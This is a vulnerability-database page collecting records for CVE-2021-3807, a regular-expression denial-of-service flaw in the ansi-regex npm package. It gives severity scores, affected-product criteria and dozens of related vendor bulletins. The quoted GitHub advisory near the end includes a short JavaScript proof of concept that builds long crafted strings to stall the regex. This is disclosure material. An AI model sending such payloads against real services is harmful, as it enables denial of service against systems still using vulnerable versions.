EUVD-2021-2021Published

Inefficient Regular Expression Complexity in chalk/ansi-regex

Collected exploitation and prediction evidence

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2021-3807

Published

ansi-regex is vulnerable to Inefficient Regular Expression Complexity

Source published: 17 Sep 2021 00:00:00 UTC
Source modified: 8 Oct 2026 21:14:08 UTC
Observed here: 23 Oct 2026 15:48:27 UTC
Source terms: CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.0 · 7.5 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

euvd · EUVD-2021-2021

Published

ansi-regex is vulnerable to Inefficient Regular Expression Complexity

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Sep 17, 2021, 12:00:00 AM

dateUpdated: Oct 8, 2026, 9:14:08 PM

43 related source bulletins · separate from aliases

SUSE-SU-2023:2579-1: Security update for SUSE Manager Client Tools

CVE-2020-7753 · CVE-2021-3807 · CVE-2021-3918 · CVE-2021-43138 · CVE-2022-0155 · CVE-2022-27191 · CVE-2022-27664 · CVE-2022-31097 · CVE-2022-31107 · CVE-2022-32149 · CVE-2022-35957 · CVE-2022-36062 · CVE-2022-41715 · CVE-2022-46146 · CVE-2023-1387 · CVE-2023-1410

RHSA-2022:0735: Red Hat Security Advisory: Red Hat Advanced Cluster Management 2.4.2 security updates and bug fixes

CVE-2021-3807 · CVE-2021-3918 · CVE-2021-22963 · CVE-2021-41089 · CVE-2021-41091 · CVE-2021-43565 · CVE-2021-43816 · CVE-2021-43858 · CVE-2022-0235 · CVE-2022-24450

SUSE-SU-2024:0486-1: Security update for SUSE Manager Client Tools

CVE-2020-7753 · CVE-2021-3807 · CVE-2021-3918 · CVE-2021-43138 · CVE-2021-43798 · CVE-2021-43815 · CVE-2022-0155 · CVE-2022-41715 · CVE-2023-40577

RHSA-2022:0246: Red Hat Security Advisory: nodejs:14 security, bug fix, and enhancement update

CVE-2020-7788 · CVE-2020-28469 · CVE-2021-3807 · CVE-2021-3918 · CVE-2021-22959 · CVE-2021-22960 · CVE-2021-33502 · CVE-2021-37701 · CVE-2021-37712

SUSE-RU-2024:0511-1: Recommended update for grafana

CVE-2020-7753 · CVE-2021-3807 · CVE-2021-3918 · CVE-2021-43138 · CVE-2022-0155

RHSA-2022:5483: Red Hat Security Advisory: Migration Toolkit for Containers (MTC) 1.7.2 security and bug fix update

CVE-2021-3807 · CVE-2022-0235 · CVE-2022-0536

SUSE-SU-2022:1717-1: Security update for nodejs10

CVE-2021-23343 · CVE-2021-32803 · CVE-2021-32804 · CVE-2021-3807 · CVE-2021-3918 · CVE-2021-44906 · CVE-2021-44907 · CVE-2022-0235 · CVE-2022-21824

SUSE-SU-2024:0196-1: Security Beta update for SUSE Manager Client Tools and Salt

CVE-2020-7753 · CVE-2021-20178 · CVE-2021-20180 · CVE-2021-20191 · CVE-2021-20228 · CVE-2021-3447 · CVE-2021-3583 · CVE-2021-3620 · CVE-2021-36222 · CVE-2021-3711 · CVE-2021-3807 · CVE-2021-3918 · CVE-2021-41174 · CVE-2021-41244 · CVE-2021-43138 · CVE-2021-43798 · CVE-2021-43813 · CVE-2021-43815 · CVE-2022-0155 · CVE-2022-23552 · CVE-2022-27664 · CVE-2022-29170 · CVE-2022-31097 · CVE-2022-31107 · CVE-2022-31123 · CVE-2022-31130 · CVE-2022-32149 · CVE-2022-35957 · CVE-2022-36062 · CVE-2022-39201 · CVE-2022-39229 · CVE-2022-39306 · CVE-2022-39307 · CVE-2022-39324 · CVE-2022-41715 · CVE-2022-41723 · CVE-2022-46146 · CVE-2023-0507 · CVE-2023-0594 · CVE-2023-1387 · CVE-2023-1410 · CVE-2023-2183 · CVE-2023-2801 · CVE-2023-3128

WID-SEC-W-2022-2133: JFrog Artifactory: Mehrere Schwachstellen in Drittanbieter-Komponenten

CVE-2019-16869 · CVE-2019-20444 · CVE-2019-20445 · CVE-2020-7608 · CVE-2020-7789 · CVE-2021-26291 · CVE-2021-3807 · CVE-2021-44906 · CVE-2022-0235 · CVE-2022-1962 · CVE-2022-24823 · CVE-2022-25857 · CVE-2022-25878 · CVE-2022-27191 · CVE-2022-28131 · CVE-2022-30187 · CVE-2022-30633 · CVE-2022-30635

WID-SEC-W-2023-1542: Red Hat OpenShift: Mehrere Schwachstellen

CVE-2015-20107 · CVE-2018-25032 · CVE-2020-10735 · CVE-2020-16250 · CVE-2020-16251 · CVE-2020-17049 · CVE-2021-28861 · CVE-2021-3765 · CVE-2021-3807 · CVE-2021-4231 · CVE-2021-4235 · CVE-2021-4238 · CVE-2021-43519 · CVE-2021-43998 · CVE-2021-44531 · CVE-2021-44532 · CVE-2021-44533 · CVE-2021-44964 · CVE-2021-46828 · CVE-2021-46848 · CVE-2022-0670 · CVE-2022-1271 · CVE-2022-1304 · CVE-2022-1348 · CVE-2022-1586 · CVE-2022-1587 · CVE-2022-21824 · CVE-2022-2309 · CVE-2022-23540 · CVE-2022-23541 · CVE-2022-24903 · CVE-2022-2509 · CVE-2022-26280 · CVE-2022-27664 · CVE-2022-2795 · CVE-2022-2879 · CVE-2022-2880 · CVE-2022-28805 · CVE-2022-29154 · CVE-2022-30635 · CVE-2022-3094 · CVE-2022-31129 · CVE-2022-32189 · CVE-2022-32190 · CVE-2022-33099 · CVE-2022-3358 · CVE-2022-34903 · CVE-2022-3515 · CVE-2022-3517 · CVE-2022-35737 · CVE-2022-36227 · CVE-2022-3715 · CVE-2022-3736 · CVE-2022-37434 · CVE-2022-38149 · CVE-2022-3821 · CVE-2022-38900 · CVE-2022-3924 · CVE-2022-40023 · CVE-2022-40303 · CVE-2022-40304 · CVE-2022-40897 · CVE-2022-41316 · CVE-2022-41715 · CVE-2022-41717 · CVE-2022-41723 · CVE-2022-41724 · CVE-2022-41725 · CVE-2022-42010 · CVE-2022-42011 · CVE-2022-42012 · CVE-2022-42898 · CVE-2022-42919 · CVE-2022-43680 · CVE-2022-4415 · CVE-2022-45061 · CVE-2022-45873 · CVE-2022-46175 · CVE-2022-47024 · CVE-2022-47629 · CVE-2022-48303 · CVE-2022-48337 · CVE-2022-48338 · CVE-2022-48339 · CVE-2023-0361 · CVE-2023-0620 · CVE-2023-0665 · CVE-2023-22809 · CVE-2023-24329 · CVE-2023-2491 · CVE-2023-24999 · CVE-2023-25000 · CVE-2023-25136

WID-SEC-W-2023-0857: IBM QRadar SIEM: Mehrere Schwachstellen

CVE-2020-15168 · CVE-2020-24025 · CVE-2020-28469 · CVE-2020-28498 · CVE-2020-28500 · CVE-2020-7793 · CVE-2021-23337 · CVE-2021-27292 · CVE-2021-29060 · CVE-2021-32803 · CVE-2021-32804 · CVE-2021-33502 · CVE-2021-33623 · CVE-2021-37701 · CVE-2021-37712 · CVE-2021-37713 · CVE-2021-3807

openSUSE-SU-2022:0715-1: Security update for nodejs14

CVE-2021-23343 · CVE-2021-32803 · CVE-2021-32804 · CVE-2021-3807 · CVE-2021-3918

SUSE-SU-2022:0563-1: Security update for nodejs8

CVE-2021-23343 · CVE-2021-32803 · CVE-2021-32804 · CVE-2021-3807 · CVE-2021-3918

RHSA-2022:4814: Red Hat Security Advisory: Migration Toolkit for Containers (MTC) 1.6.5 security and bug fix update

CVE-2021-3807 · CVE-2021-39293

WID-SEC-W-2022-0103: Node.js: Mehrere Schwachstellen

CVE-2021-3807 · CVE-2021-3918

RHSA-2022:6449: Red Hat Security Advisory: nodejs:16 security and bug fix update

CVE-2021-3807 · CVE-2022-32212 · CVE-2022-32213 · CVE-2022-32214 · CVE-2022-32215 · CVE-2022-33987

openSUSE-SU-2022:0704-1: Security update for nodejs8

CVE-2021-23343 · CVE-2021-32803 · CVE-2021-32804 · CVE-2021-3807 · CVE-2021-3918

WID-SEC-W-2026-0177: Atlassian Bamboo, Bitbucket, Confluence und Jira: Mehrere Schwachstellen

CVE-2021-3807 · CVE-2022-25883 · CVE-2022-45693 · CVE-2024-21538 · CVE-2024-38286 · CVE-2024-45296 · CVE-2024-45801 · CVE-2025-12383 · CVE-2025-15284 · CVE-2025-27152 · CVE-2025-41249 · CVE-2025-48976 · CVE-2025-48989 · CVE-2025-49146 · CVE-2025-52434 · CVE-2025-52999 · CVE-2025-53689 · CVE-2025-54988 · CVE-2025-55163 · CVE-2025-55752 · CVE-2025-64775 · CVE-2025-66516 · CVE-2025-9287 · CVE-2025-9288 · CVE-2026-21569

SUSE-SU-2022:0570-1: Security update for nodejs10

CVE-2021-23343 · CVE-2021-32803 · CVE-2021-32804 · CVE-2021-3807 · CVE-2021-3918 · CVE-2022-21824

WID-SEC-W-2023-0856: IBM QRadar SIEM: Mehrere Schwachstellen

CVE-2020-11655 · CVE-2020-11656 · CVE-2020-13434 · CVE-2020-13435 · CVE-2020-13630 · CVE-2020-13631 · CVE-2020-13632 · CVE-2020-15168 · CVE-2020-15358 · CVE-2020-28469 · CVE-2020-7788 · CVE-2020-9327 · CVE-2021-22918 · CVE-2021-22930 · CVE-2021-22931 · CVE-2021-22939 · CVE-2021-22940 · CVE-2021-23343 · CVE-2021-23362 · CVE-2021-27290 · CVE-2021-32803 · CVE-2021-32804 · CVE-2021-33502 · CVE-2021-3672 · CVE-2021-37701 · CVE-2021-37712 · CVE-2021-37713 · CVE-2021-3807 · CVE-2021-3918

SUSE-SU-2024:0191-1: Security Beta update for SUSE Manager Client Tools

CVE-2020-7753 · CVE-2021-36222 · CVE-2021-3711 · CVE-2021-3807 · CVE-2021-3918 · CVE-2021-39226 · CVE-2021-41174 · CVE-2021-41244 · CVE-2021-43138 · CVE-2021-43798 · CVE-2021-43813 · CVE-2021-43815 · CVE-2022-0155 · CVE-2022-21673 · CVE-2022-21698 · CVE-2022-21702 · CVE-2022-21703 · CVE-2022-21713 · CVE-2022-23552 · CVE-2022-27191 · CVE-2022-27664 · CVE-2022-29170 · CVE-2022-31097 · CVE-2022-31107 · CVE-2022-31123 · CVE-2022-31130 · CVE-2022-32149 · CVE-2022-35957 · CVE-2022-36062 · CVE-2022-39201 · CVE-2022-39229 · CVE-2022-39306 · CVE-2022-39307 · CVE-2022-39324 · CVE-2022-41715 · CVE-2022-41723 · CVE-2022-46146 · CVE-2023-0507 · CVE-2023-0594 · CVE-2023-1387 · CVE-2023-1410 · CVE-2023-2183 · CVE-2023-2801 · CVE-2023-3128 · CVE-2023-40577

RHSA-2022:5532: Red Hat Security Advisory: Red Hat Fuse 7.11.0 release and security update

CVE-2020-7020 · CVE-2020-9484 · CVE-2020-15250 · CVE-2020-25689 · CVE-2020-29582 · CVE-2020-36518 · CVE-2021-2471 · CVE-2021-3629 · CVE-2021-3642 · CVE-2021-3644 · CVE-2021-3807 · CVE-2021-3859 · CVE-2021-4178 · CVE-2021-22060 · CVE-2021-22096 · CVE-2021-22119 · CVE-2021-22569 · CVE-2021-22573 · CVE-2021-24122 · CVE-2021-25122 · CVE-2021-25329 · CVE-2021-29505 · CVE-2021-30640 · CVE-2021-33037 · CVE-2021-33813 · CVE-2021-35515 · CVE-2021-35516 · CVE-2021-35517 · CVE-2021-36090 · CVE-2021-38153 · CVE-2021-40690 · CVE-2021-41079 · CVE-2021-41766 · CVE-2021-42340 · CVE-2021-42550 · CVE-2021-43797 · CVE-2021-43859 · CVE-2022-0084 · CVE-2022-1259 · CVE-2022-1319 · CVE-2022-21363 · CVE-2022-21724 · CVE-2022-22932 · CVE-2022-22950 · CVE-2022-22968 · CVE-2022-22970 · CVE-2022-22971 · CVE-2022-22976 · CVE-2022-22978 · CVE-2022-23181 · CVE-2022-23221 · CVE-2022-23596 · CVE-2022-23913 · CVE-2022-24614 · CVE-2022-25845 · CVE-2022-26336 · CVE-2022-26520 · CVE-2022-30126

SUSE-SU-2022:0657-1: Security update for nodejs12

CVE-2021-23343 · CVE-2021-32803 · CVE-2021-32804 · CVE-2021-3807 · CVE-2021-3918

SUSE-SU-2022:0569-1: Security update for nodejs14

CVE-2021-23343 · CVE-2021-32803 · CVE-2021-32804 · CVE-2021-3807 · CVE-2021-3918

WID-SEC-W-2022-0607: Red Hat FUSE: Mehrere Schwachstellen

CVE-2020-15250 · CVE-2020-25689 · CVE-2020-29582 · CVE-2020-36518 · CVE-2020-7020 · CVE-2020-9484 · CVE-2021-22060 · CVE-2021-22096 · CVE-2021-22119 · CVE-2021-22569 · CVE-2021-22573 · CVE-2021-24122 · CVE-2021-2471 · CVE-2021-25122 · CVE-2021-25329 · CVE-2021-29505 · CVE-2021-30640 · CVE-2021-33037 · CVE-2021-33813 · CVE-2021-35515 · CVE-2021-35516 · CVE-2021-35517 · CVE-2021-36090 · CVE-2021-3629 · CVE-2021-3642 · CVE-2021-3644 · CVE-2021-3807 · CVE-2021-38153 · CVE-2021-3859 · CVE-2021-40690 · CVE-2021-41079 · CVE-2021-41766 · CVE-2021-4178 · CVE-2021-42340 · CVE-2021-42550 · CVE-2021-43797 · CVE-2021-43859 · CVE-2022-0084 · CVE-2022-1259 · CVE-2022-1319 · CVE-2022-21363 · CVE-2022-21724 · CVE-2022-22932 · CVE-2022-22950 · CVE-2022-22968 · CVE-2022-22970 · CVE-2022-22971 · CVE-2022-22976 · CVE-2022-22978 · CVE-2022-23181 · CVE-2022-23221 · CVE-2022-23596 · CVE-2022-23913 · CVE-2022-24614 · CVE-2022-25845 · CVE-2022-26336 · CVE-2022-26520 · CVE-2022-30126

openSUSE-SU-2022:0657-1: Security update for nodejs12

CVE-2021-23343 · CVE-2021-32803 · CVE-2021-32804 · CVE-2021-3807 · CVE-2021-3918

SUSE-SU-2023:2575-1: Security update for SUSE Manager Client Tools

CVE-2020-7753 · CVE-2021-3807 · CVE-2021-3918 · CVE-2021-43138 · CVE-2022-0155 · CVE-2022-27664 · CVE-2022-31097 · CVE-2022-31107 · CVE-2022-32149 · CVE-2022-35957 · CVE-2022-36062 · CVE-2023-1387 · CVE-2023-1410

RHSA-2023:3742: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.13.0 security and bug fix update

CVE-2020-16250 · CVE-2020-16251 · CVE-2021-3765 · CVE-2021-3807 · CVE-2021-4235 · CVE-2021-4238 · CVE-2021-43998 · CVE-2021-44531 · CVE-2021-44532 · CVE-2021-44533 · CVE-2022-2879 · CVE-2022-2880 · CVE-2022-3517 · CVE-2022-21824 · CVE-2022-23540 · CVE-2022-23541 · CVE-2022-27664 · CVE-2022-30635 · CVE-2022-32189 · CVE-2022-32190 · CVE-2022-38149 · CVE-2022-38900 · CVE-2022-41316 · CVE-2022-41715 · CVE-2022-41717 · CVE-2022-41723 · CVE-2022-41724 · CVE-2022-41725 · CVE-2022-46175 · CVE-2023-0620 · CVE-2023-0665 · CVE-2023-24999 · CVE-2023-25000

RHSA-2022:0350: Red Hat Security Advisory: nodejs:14 security, bug fix, and enhancement update

CVE-2020-7788 · CVE-2020-28469 · CVE-2021-3807 · CVE-2021-3918 · CVE-2021-22959 · CVE-2021-22960 · CVE-2021-33502 · CVE-2021-37701 · CVE-2021-37712

NCSC-2026-0034: Kwetsbaarheden verholpen in Atlassian producten

SUSE-SU-2022:0531-1: Security update for nodejs12

CVE-2021-23343 · CVE-2021-32803 · CVE-2021-32804 · CVE-2021-3807 · CVE-2021-3918

RHSA-2021:5171: Red Hat Security Advisory: nodejs:16 security, bug fix, and enhancement update

CVE-2020-7788 · CVE-2020-28469 · CVE-2021-3807 · CVE-2021-3918 · CVE-2021-22959 · CVE-2021-22960 · CVE-2021-33502

SUSE-SU-2022:0704-1: Security update for nodejs8

CVE-2021-23343 · CVE-2021-32803 · CVE-2021-32804 · CVE-2021-3807 · CVE-2021-3918

SUSE-SU-2024:0487-1: Security update for SUSE Manager Client Tools

CVE-2020-7753 · CVE-2021-3807 · CVE-2021-3918 · CVE-2021-43138 · CVE-2021-43798 · CVE-2021-43815 · CVE-2022-0155 · CVE-2022-41715

RHSA-2022:0041: Red Hat Security Advisory: rh-nodejs14-nodejs and rh-nodejs14-nodejs-nodemon security update

CVE-2021-3807 · CVE-2021-3918 · CVE-2021-22959 · CVE-2021-22960 · CVE-2021-37701 · CVE-2021-37712

RHSA-2022:6595: Red Hat Security Advisory: nodejs and nodejs-nodemon security and bug fix update

CVE-2020-7788 · CVE-2020-28469 · CVE-2021-3807 · CVE-2021-33502 · CVE-2022-29244 · CVE-2022-32212 · CVE-2022-32213 · CVE-2022-32214 · CVE-2022-32215 · CVE-2022-33987

WID-SEC-W-2023-0809: IBM QRadar SIEM: Mehrere Schwachstellen

CVE-2023-22809 · CVE-2022-4883 · CVE-2022-46364 · CVE-2022-46363 · CVE-2022-45143 · CVE-2022-42890 · CVE-2022-4254 · CVE-2022-42252 · CVE-2022-41966 · CVE-2022-41946 · CVE-2022-41704 · CVE-2022-40156 · CVE-2022-40155 · CVE-2022-40154 · CVE-2022-40153 · CVE-2022-40152 · CVE-2022-40150 · CVE-2022-40149 · CVE-2022-37603 · CVE-2022-37601 · CVE-2022-37599 · CVE-2022-37598 · CVE-2022-3676 · CVE-2022-36364 · CVE-2022-36033 · CVE-2022-34917 · CVE-2022-31197 · CVE-2022-31129 · CVE-2022-2964 · CVE-2022-28733 · CVE-2022-2795 · CVE-2022-25927 · CVE-2022-25901 · CVE-2022-25758 · CVE-2022-25647 · CVE-2022-24999 · CVE-2022-24839 · CVE-2022-24823 · CVE-2022-24785 · CVE-2022-23437 · CVE-2022-22971 · CVE-2022-22970 · CVE-2022-21724 · CVE-2022-21628 · CVE-2022-21626 · CVE-2022-21624 · CVE-2022-21619 · CVE-2021-43797 · CVE-2021-42740 · CVE-2021-42581 · CVE-2021-39227 · CVE-2021-3918 · CVE-2021-3807 · CVE-2021-37713 · CVE-2021-37712 · CVE-2021-37701 · CVE-2021-3765 · CVE-2021-37137 · CVE-2021-37136 · CVE-2021-32804 · CVE-2021-32803 · CVE-2021-29060 · CVE-2021-26401 · CVE-2021-25220 · CVE-2021-23450 · CVE-2021-23382 · CVE-2021-23368 · CVE-2021-23364 · CVE-2021-23362 · CVE-2021-23343 · CVE-2021-21409 · CVE-2021-21295 · CVE-2021-21290 · CVE-2020-7764 · CVE-2020-5259 · CVE-2020-24025 · CVE-2020-15366 · CVE-2020-13936 · CVE-2019-6286 · CVE-2019-6284 · CVE-2019-6283 · CVE-2019-10785 · CVE-2018-8036 · CVE-2018-20821 · CVE-2018-20190 · CVE-2018-19839 · CVE-2018-19838 · CVE-2018-19827 · CVE-2018-19797 · CVE-2018-15494 · CVE-2018-11698 · CVE-2018-11694

RHSA-2022:5555: Red Hat Security Advisory: RHV Manager (ovirt-engine) [ovirt-4.5.1] security, bug fix and update

CVE-2021-3807 · CVE-2021-22096 · CVE-2021-33623 · CVE-2021-35515 · CVE-2021-35516 · CVE-2021-35517 · CVE-2021-36090 · CVE-2022-22950 · CVE-2022-31051

WID-SEC-W-2022-1375: JFrog Artifactory: Mehrere Schwachstellen

CVE-2013-4517 · CVE-2013-7285 · CVE-2014-0107 · CVE-2014-0114 · CVE-2014-3577 · CVE-2014-3623 · CVE-2015-0227 · CVE-2015-2575 · CVE-2015-3253 · CVE-2015-4852 · CVE-2015-7940 · CVE-2016-10750 · CVE-2016-3092 · CVE-2016-3674 · CVE-2016-6501 · CVE-2016-8735 · CVE-2016-8745 · CVE-2017-1000487 · CVE-2017-15095 · CVE-2017-17485 · CVE-2017-18214 · CVE-2017-18640 · CVE-2017-7525 · CVE-2017-7657 · CVE-2017-7957 · CVE-2017-9506 · CVE-2018-1000206 · CVE-2018-9116 · CVE-2019-10219 · CVE-2019-12402 · CVE-2019-17359 · CVE-2019-17571 · CVE-2019-20104 · CVE-2020-11996 · CVE-2020-13934 · CVE-2020-13935 · CVE-2020-13949 · CVE-2020-14340 · CVE-2020-15586 · CVE-2020-1745 · CVE-2020-17521 · CVE-2020-25649 · CVE-2020-28500 · CVE-2020-29582 · CVE-2020-36518 · CVE-2020-7226 · CVE-2020-7692 · CVE-2020-8203 · CVE-2021-13936 · CVE-2021-21290 · CVE-2021-22060 · CVE-2021-22112 · CVE-2021-22119 · CVE-2021-22147 · CVE-2021-22148 · CVE-2021-22149 · CVE-2021-22573 · CVE-2021-23337 · CVE-2021-25122 · CVE-2021-26291 · CVE-2021-27568 · CVE-2021-29505 · CVE-2021-30129 · CVE-2021-33037 · CVE-2021-35550 · CVE-2021-35556 · CVE-2021-35560 · CVE-2021-35561 · CVE-2021-35564 · CVE-2021-35565 · CVE-2021-35567 · CVE-2021-35578 · CVE-2021-35586 · CVE-2021-35588 · CVE-2021-35603 · CVE-2021-36374 · CVE-2021-3765 · CVE-2021-3807 · CVE-2021-38561 · CVE-2021-3859 · CVE-2021-41090 · CVE-2021-41091 · CVE-2021-42340 · CVE-2021-42550 · CVE-2021-43797 · CVE-2022-0536 · CVE-2022-22963 · CVE-2022-23632 · CVE-2022-23648 · CVE-2022-23806 · CVE-2022-24769 · CVE-2022-24823 · CVE-2022-27191 · CVE-2022-29153 · CVE-2022-32212 · CVE-2022-32213 · CVE-2022-32214 · CVE-2022-32215 · CVE-2022-32223

openSUSE-SU-2024:12723-1: grafana-9.3.6-1.1 on GA media

CVE-2020-7753 · CVE-2021-3807 · CVE-2021-3918 · CVE-2021-43138 · CVE-2022-0155 · CVE-2022-27664 · CVE-2022-32149

SUSE-SU-2023:2578-1: Security update for SUSE Manager Client Tools

RHSA-2022:4711: Red Hat Security Advisory: RHV Manager (ovirt-engine) [ovirt-4.5.0] security update

CVE-2021-3807 · CVE-2021-23425 · CVE-2021-33502 · CVE-2021-41182 · CVE-2021-41183 · CVE-2021-41184

SUSE-SU-2022:0715-1: Security update for nodejs14

CVE-2021-23343 · CVE-2021-32803 · CVE-2021-32804 · CVE-2021-3807 · CVE-2021-3918

Source published: Sep 17, 2021, 12:00:00 AM (timezone not stated)
Source modified: Oct 8, 2026, 9:14:08 PM (timezone not stated)
Observed here: 10 Nov 2026 02:07:28 UTC
Source terms: ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.0 · 7.5 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

nvd · CVE-2021-3807

Published

ansi-regex is vulnerable to Inefficient Regular Expression Complexity

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Modified

Weakness classifications: CWE-1333

Original publisher date fields

published: 2021-09-17T07:15:09.273

lastModified: 2026-10-08T22:17:11.557

5 source CPE criteria · context only

cpe:2.3:a:ansi-regex_project:ansi-regex:*:*:*:*:*:node.js:*:*
cpe:2.3:a:ansi-regex_project:ansi-regex:3.0.0:*:*:*:*:node.js:*:*
cpe:2.3:a:ansi-regex_project:ansi-regex:5.0.0:*:*:*:*:node.js:*:*
cpe:2.3:a:ansi-regex_project:ansi-regex:6.0.0:*:*:*:*:node.js:*:*
cpe:2.3:a:oracle:communications_cloud_native_core_policy:1.15.0:*:*:*:*:*:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published: 17 Sep 2021 07:15:09 UTC
Source modified: 8 Oct 2026 22:17:11 UTC
Observed here: 24 Oct 2026 18:17:33 UTC
Source terms: NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Primary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS 3.0 · [email protected] · Secondary · 7.5 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS 2.0 · [email protected] · Primary · 7.8 AV:N/AC:L/Au:N/C:N/I:N/A:C

osv · GHSA-93q8-gq69-wqmw

Published

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes. **Proof of Concept** ```js import ansiRegex from 'ansi-regex'; for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = "\u001B["+";".repeat(i*10000); ansiRegex().test(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") } ``` The ReDOS is mainly due to the sub-patterns `[[\\]()#;?]*` and `(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*`

Source published: 20 Sep 2021 20:20:09 UTC
Source modified: 10 Sep 2026 03:49:08 UTC
Observed here: 24 Oct 2026 13:17:17 UTC
Source terms: GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH